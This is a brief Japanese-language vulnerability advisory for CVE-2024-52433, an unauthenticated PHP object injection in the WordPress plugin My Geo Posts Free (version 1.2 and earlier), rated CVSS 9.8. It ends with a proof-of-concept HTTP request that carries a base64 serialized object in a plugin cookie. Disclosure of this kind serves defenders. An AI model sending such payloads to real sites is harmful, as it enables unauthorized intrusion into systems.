CVE-2024-52433

My Geo Posts Free <= 1.2 - 認証されていないPHPオブジェクトインジェクション

説明

WordPress用プラグイン My Geo Posts Free には、バージョン 1.2 まで（1.2 を含む）において、信頼できない入力のデシリアライゼーションを介したPHPオブジェクトインジェクションの脆弱性があります。これにより、認証されていない攻撃者がPHPオブジェクトを注入することが可能になります。影響を受けるソフトウェアには既知のPOPチェーンは存在しません。標的システムにインストールされている追加のプラグインやテーマを介してPOPチェーンが存在する場合、攻撃者は任意のファイルの削除、機密データの取得、またはコードの実行が可能になる可能性があります。

ダウンロードリンク: my-geo-posts-free バージョン 1.2 をダウンロード

Type: plugin
CVSS Score: 9.8
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2024-52433
Slug: my-geo-posts-free

POC

GET / HTTP/2
Host: wp-dev.ddev.site
Cookie: mgpf_geo_coockie=TzoyMDoiUEhQX09iamVjdF9JbmplY3Rpb24iOjA6e30=